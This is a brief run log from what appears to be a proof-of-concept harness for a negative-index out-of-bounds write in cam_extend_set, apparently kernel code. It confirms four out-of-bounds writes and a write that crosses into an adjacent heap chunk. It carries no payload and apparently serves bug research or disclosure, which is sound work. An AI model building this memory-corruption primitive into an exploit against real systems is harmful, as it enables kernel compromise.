DF-5662 / run.log
[OOB5662] loaded (cam_extend_set OOB harness) [OOB5662] demo: cam_extend_set negative-index OOB [OOB5662] after set(0): nelem=8 ps=0xfffff8008f9a4fc0 neighbor=0xfffff8008f9a4f80 (adjacent=1) [OOB5662] index=-1: OOB WRITE confirmed: ps[-1] = 0xcafe5662cafe5662 (was 0) [OOB5662] index=-2: OOB WRITE confirmed: ps[-2] = 0xcafe5662cafe5662 (was 0) [OOB5662] index=-3: OOB WRITE confirmed: ps[-3] = 0xcafe5662cafe5662 (was 0) [OOB5662] index=-4: OOB WRITE confirmed: ps[-4] = 0xcafe5662cafe5662 (was 0) [OOB5662] CROSS-OBJECT WRITE: neighbor chunk's last qword now 0xcafe5662cafe5662 via cam_extend_set(ea,-1,...) [OOB5662] release(ea,-1): no-op (delegates to get) [OOB5662] demo done: oob_writes=4 oob_read_refuses=0 cross_object=1